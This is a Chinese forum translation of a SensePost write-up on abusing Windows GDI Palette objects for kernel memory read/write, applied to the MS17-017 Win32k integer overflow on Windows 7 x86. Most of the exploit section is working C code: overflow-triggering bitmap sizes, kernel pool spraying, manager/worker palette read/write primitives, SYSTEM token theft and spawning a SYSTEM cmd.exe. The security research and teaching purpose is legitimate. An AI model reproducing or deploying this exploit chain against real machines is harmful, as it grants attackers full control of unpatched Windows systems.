首页
社区
课程
招聘
[翻译]滥用GDI对象的ring0原语革命
发表于: 2017-8-12 01:35 5626

[翻译]滥用GDI对象的ring0原语革命

2017-8-12 01:35
5626

原文:https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/

使用Palettes利用MS17-017 EOP

这个帖子是Saif在Defcon 25演讲的概括。演讲的核心主题之一是发布了一种名为Palette Objects的新的GDI对象滥用技术。Saif展示了以前未公开的Windows 7 SP1 x86的EXP,涉及新发现的GDI对象滥用技术。完整白皮书已经发布,可以在这里找到。演讲中讨论的EXP和源代码可以在这里找到。

XEPALOBJ - Palettes对象

Palettes指定可在设备上下文中使用的颜色。在内核内存中由池标签Gh?8和Gla8表示,并在Win32k调试符号中具有类型名_PALETTE,XEPALOBJ或PALOBJ。因为一些被分析的函数涉及XEPALOBJ,所以我就从它开始。内核结构在MSDN上没有文档,但是在ReactOS中可以找到x86版本,而在Deigo Juarez编写的非常好用的windbg插件GDIObjDump中可以找到x86和x64两种版本。在2017年3月的360 Vulcan团队的talk中提到了使用Palettes的相对内存读/写技术。然而据我所知这里概述的包括任意内存读/写在内的完整技术尚未完全公开。

X86和X64 PALETTE结构体

XEPALOBJ中cEntries表示PALETTEENTRY数组中成员的数量,pFirstColor是一个指向PALETTEENTRY数组apalColors的第一个成员的指针。

KAlloc

CreatePalette函数用于分配Palettes对象。它采用LOGPALETTE结构体作为参数,x86系统的分配小于0x98个字节,x64系统的分配小于0xD8个字节,并分配给快表。


KFree

要释放Palette对象可以使用DeleteObject函数,并提供Palette的句柄作为参数:DeleteObject(HPALETTE)。

读取内存的函数

GetPaletteEntries函数用来读取hpal句柄表示的XEPALOBJ结构中pFirstColor指针指向的apalColors数组自偏移iStartIndex开始的nEntries个元素,并将其保存到缓冲区lppe中。函数定义如下。

写入内存的函数

SetPaletteEntries和AnimatePalette这两个函数用来将缓冲区lppe或ppe中的cEntries个元素写入hpal句柄表示的XEPALOBJ结构中pFirstColor指针指向的apalColors数组自偏移iStart或iStartIndex开始的位置。

相对内存读/写cEntries

XEPALOBJ结构体中的cEntries成员用于表示Palettes对象中的apalColors数组中Entries的个数,如果它被覆盖为更大的值,那么在Palette上进行读/写操作时,它将读/写超出为它分配的内核内存。

任意内存读/写pFirstColor

通过引用指向apalColors数组的第一个成员的指针pFirstColor实现读/写操作。通过改变指定Palette中的这个指针,它可用于在内核内存任意位置读/写。

利用方法

Palette对象可以用和Bitmap对象相同的方式被滥用。通过使用cEntries或pFirstColor成员在我们的控制之下的Manager Palette控制第二个Worker Palette的pFirstColor获得任意的内核内存读/写原语。
重点在于Manager Palette对象的cEntries可以被控制的情形,通过溢出获得对内核内存中Manager Palette对象位置的相对内存读/写,并使用它覆盖相邻Worker Palette对象的pFirstColor。


技术限制

使用Palette技术有一些限制。溢出cEntires时该值在x86系统上必须大于0x26,在x64系统上必须大于0x36,因为分配给x86位系统上XEPALOBJ的最小大小是0x98,x64上是0xd8,所以即使cEntires为0x1,如果被0x6覆盖,则会导致0x6*0x4=0x18,小于最小分配的Palette大小。当使用SetPaletteEntries函数将Entries写入内存时,溢出不应该覆盖XEPALOBJ的某些成员(hdcHead,ptransOld和ptransCurrent)。

用户模式的函数SetPaletteEntries调用NTSetPaletteEntries->GreSetPaletteEntries,第一个限制在hdcHead成员上,如果此成员被设置,代码会走下图中黄色的路径,最终以错误或BSOD结束。

在代码到达这里之前GreSetPaletteEntries将调用XEPALOBJ::ulSetEntries,它检查pTransCurrent和pTransOld成员,并且如果它们被设置,代码将采用将它们指向的值和ecx相与的路径,这将导致BSOD。

使用用户态函数AnimatePalettes设置Palette的唯一限制是pFirstColor指向的内存位置的最高位字节必须是一个奇数值,这在x64位系统上是有挑战性的,但在x86位系统上并不困难,如下面的XEPALOBJ::ulAnimatePalette所示。尽管这不会导致蓝屏,但会在将新值写入内存位置时出错。

MS17-017 Win32k!EngRealizeBrush整数溢出导致OOB内存池写

现在我已经概述了Palette对象以及它们如何被滥用,让我们在漏洞利用中使用这种新技术。

理解bug

三月微软发布了一个补丁修复了影响GDI内核子系统的提权漏洞。被打补丁的函数是Win32k!EngRealizeBrush。

左侧是Win32k.sys中打了补丁的函数,将其与右侧未修补的版本进行比较,很显然由于几个整数验证功能(如ULonglongtoUlong)和其它代码存在一个整数溢出问题。即使上面的截图不能包含整个补丁,查看IDA中未修补的函数并尝试确定问题是什么以及如何被利用更容易。

触发溢出

WIN32K!EngRealizeBrush函数可以通过使用PatBlt函数使用创建的palette使用选定的当前图形设备上下文的brush绘制区域来调用。当使用实线或阴影的brush创建Palettes时,注意到可以溢出的值在我的系统上总是0x100,但是当使用基于模式的brush时,该值可以被控制。

HBITMAP bitmap = CreateBitmap(0x5a1f, 0x5a1f, 1, 1, NULL);
HBRUSH hbrBkgnd = CreatePatternBrush(bitmap);
PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY);


edi寄存器是模式brush使用的bitmap的bitmap.width成员,执行的计算依次如下。

x = Bitmap.width * 20 (ecx = 20 and its based of the HDC->bitmap.bitsperpixel)
x = x / 2^3
y = x * bitmap.height
result = y + 0x44

然后将结果和0x40相加并作为size参数传递给分配函数。

由于可以控制bitmap.width和bitmap.height的值,因此只需要找到正确的组合即可导致溢出。我们希望溢出后获得的值为0x10(稍后解释)。要使溢出的整数为该值,实际的计算结果必须等于0x100000010。
0x100000010 – 0x44 – 0x40 = 0xFFFFFF8C
0xFFFFFF8C=0x8c(140)0x1d41d41(30678337),计算后的bitmap.width的值应为0x8c,(0x8c0x8)/0x20=0x23。使用以下bitmap作为模式brush的源,当它和0x40和0x44相加溢出后获得的值为0x10。

HBITMAP bitmap = CreateBitmap(0x23,0x1d41d41,1,1,NULL);

分配内存之后,该函数将尝试写入已分配对象的某些偏移量,如下所示。如果分配内存小于0x30字节,写入[esi+0x3C]将导致OOB写。

标志对齐

记得0x10吗?选择该特定值的原因是为了进行对齐,选择的溢出对象是bitmap对象:覆盖其高度成员,并获得相对内存读/写原语。32位_SURFOBJ的高度成员位于偏移0x14处。
Allocated object size (0x10) + Bitmap _POOL_HEADER size(0x8) + _BASE_OBJECT size (0x10) + _SURFOBJ->height (0x14) = OOB write offset (0x3C)
第一部分的计算结束时,可以看出,EBX的值为0xFFFFFFD0。

来到内存分配部分,开始时0xFFFFFFD0和0x40相加,导致EAX为0x10。

由于在函数结束时分配的对象被释放,所以对象需要分配在内存页的末尾。这次的区别在于它应该直接跟随bitmap对象之后,这样我们可以溢出bitmap对象的高度并扩展其大小以获得相对的内存读/写。此时,我们有三个选择。
1.扩展的bitmap对象可以用作Manager,覆盖相邻bitmap对象的pvScan0成员,并将相邻bitmap对象作为Worker。
2.扩展的bitmap对象可以用作Manager,覆盖相邻Palette对象的(XEPALOBJ)pFirstColor成员,并使用相邻Palette对象作为Worker。
3.演示全新的Palette对象技术,使用扩展bitmap对象覆盖相邻Palette对象的cEntries成员,获取相对内存读/写,然后使用修改的Palette对象作为Manager,来控制第二个Palette对象的pFirstColor成员,使用第二个Palette对象作为Worker。
我决定用最后一个方案,把它作为一个演示新技术的机会。要实现这一点有必要进行内核池风水,如下所述。

内核池风水

第一次分配大小0xFE8的bitmap,因为我们知道存在漏洞的对象大小为0x10+0x8(POOL_HEADER)(0x1000-0x18=0xFE8)。我们进行了2000次分配。
0x1000 – 0x18 = 0xFE8

for (int y = 0; y < 2000; y++) {
            //0x3A3 = 0xFe8
            bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL);
            bitmaps[y] = bmp;
}


下一步是分配大小2000个大小为0x18的对象,我发现的最佳对象是Window类lpszMenuName。虽然这是一个User对象,但是它是被分配给Pages会话池的User对象之一,我认为它可以用于从User对象中泄漏GDI对象的地址,但这超出了本文的范围。

//Spray LpszMenuName User object in GDI pool. Ustx
// size 0x10+8
TCHAR st[0x32];

for (int s = 0; s < 2000; s++) {
            WNDCLASSEX Class2 = { 0 };
            wsprintf(st, "Class%d", s);
            Class2.lpfnWndProc = DefWindowProc;
            Class2.lpszClassName = st;
            Class2.lpszMenuName = "Saif";
            Class2.cbSize = sizeof(WNDCLASSEX);
            if (!RegisterClassEx(&Class2)) {
                        printf("bad %d %d\r\n", s, GetLastError());
                        break;
            }
}


下一步将释放分配给页面开头的所有大的bitmap对象Gh05。

for (int s = 0; s < 2000; s++) {
            DeleteObject(bitmaps[s]);
}


并分配大小为0x7F8的较小的bitmap对象Gh05,该对象将被分配到池页面的开头,希望它能刚好在放置存在漏洞的对象的内存空洞之后。

for (int k = 0; k < 2000; k++) {
            //0x1A6 = 0x7f0+8
            bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL);
            bitmaps[k] = bmp;
}


接下来将分配大小为0x7E8的2000个Palette对象Gh08到内核内存页面中剩余的空闲内存。

HPALETTE hps;
LOGPALETTE *lPalette;
//0x1E3  = 0x7e8+8

lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY));
lPalette->palNumEntries = 0x1E3;
lPalette->palVersion = 0x0300;

// for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18
for (int k = 0; k < 2000; k++) {
            hps = CreatePalette(lPalette);
            if (!hps) {
                printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k);
            }
            hp[k] = hps;
}


然后释放一些分配的Window类lpszMenuName,以在池页面的末尾创建与存在漏洞的对象分配大小相同的内存空间。

TCHAR fst[0x32];

for (int f = 500; f < 750; f++) {
            wsprintf(fst, "Class%d", f);
            UnregisterClass(fst, NULL);
}


如果一切都按照计划那么存在漏洞的对象分配后内存布局如下。

Bitmap GDI对象扩展相对读/写

现在存在漏洞的对象被放置在页的末端并刚好位于Bitmap对象之前,OOB写(mov [esi+3c],ecx)应该写入biBitCount控制的代表brush的bitmap类型DWORD 0x00000006(BMF_32BPP)到偏移为0x3C的存在漏洞的对象,刚好是Bitmap对象sizlBitmap的height成员。

如上图所示,相邻的Bitmap对象sizlBitmap.Height从0x1更改为0x6,成功扩展了Bitmap大小,因此对它的任何后续操作都将导致OOB内存的读/写。找出哪个Bitmap被扩展的方法是遍历分配的Bitmap,并找到哪个可以使用GetBitmapBits读取超过其原始大小的数据。

for (int i = 0; i < 2000; i++) {
            res = GetBitmapBits(bitmaps[i], 0x6F8, bits);
            if (res > 0x6F8 - 1) {
                        hManager = bitmaps[i];
                        printf("[*] Manager Bitmap: %d\r\n", i);
                        break;
            }
}

滥用Palette GDI对象

一旦找到Bitmap对象,该Bitmap将用于将相邻Palette(XEPALOBJ)对象的cEntries成员设置为0xFFFFFFFF,它位于Bitmap偏移量0x6B8处。

//BYTE *bytes = (BYTE*)&cEntries;

for (int y = 0; y < 4; y++) {
            bits[0x6F8 - 8 - 0x38 + y] = 0xFF;
}
SetBitmapBits((HBITMAP)hManager, 0x6F8, bits);



此时使用GetPaletteEntries函数执行一个循环监视Entries是否大于原始的0x1E3来查找哪个Palette对象被扩展。

UINT *rPalette;
rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY));

memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY));

for (int k = 0; k < 2000; k++) {
            UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette);
            if (res > 0x3BB) {
                        printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]);
                        hpManager = hp[k];
                        break;
            }
}

一旦找到扩展的Palette对象,我们将保存其句柄以将其用作Manager,并将下一个Palette对象的pFirstColor(位于Manager Palette对象偏移0x3FE处)设置为固定Bitmap对象池头的地址。

UINT wAddress = rPalette[0x3FE];
printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress);
UINT tHeader = pFirstColor - 0x1000;
tHeader = tHeader & 0xFFFFF000;
printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader);
SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader);


如上所述,Worker pFirstColor成员已成功设置为固定的Bitmap对象池头,这意味着任意内存读/写已经实现。下一步是识别Worker Palette对象句柄,我们知道POOL_HEADER的固定Bitmap对象的最低有效字节将为0x35=5d,因为Gh15的ASCII为0x35316847。为识别Worker Palette对象,循环将遍历分配Palette调用GetPaletteEntries,直到找到一个Palette的第一个entry的最低有效字节=0x35,并保存其句柄作为我们的Worker Palette对象。

UINT wBuffer[2];

for (int x = 0; x < 2000; x++) {
            GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer);
            if (wBuffer[1] >> 24 == 0x35) {
                        hpWorker = hp[x];
                        printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", hpWorker);
                        printf("[*] wBuffer: %x\r\n", wBuffer[1]);
                        break;
            }
}

任意内存读/写将用于修复被破坏的Bitmap对象头。

VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 };

void SetAddress(UINT* address) {
            SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address);
}

void WriteToAddress(UINT* data, DWORD len) {
            SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data);
}

UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) {
            SetAddress((UINT *)&src);
            DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst);
            return res;
}

窃取令牌

任意的内核内存读/写实现和所有被损坏的内存都修复之后,我们现在可以获得指向SYSTEM进程_EPROCESS结构体的内核指针,复制并替换当前进程的SecurityToken,如前一篇文章中所述。

// get System EPROCESS
UINT SystemEPROCESS = PsInitialSystemProcess();
//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
UINT CurrentEPROCESS = PsGetCurrentProcess();
//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
UINT SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1);
fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken);
// write token to current process
UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress(&CurProccessAddr);

SYSTEM!!

现在当前的进程有一个SYSTEM令牌,调用cmd.exe将获得SYSTEM shell。

system("cmd.exe");



[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2019-1-14 16:55 被houjingyi编辑 ,原因: 重新排版
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//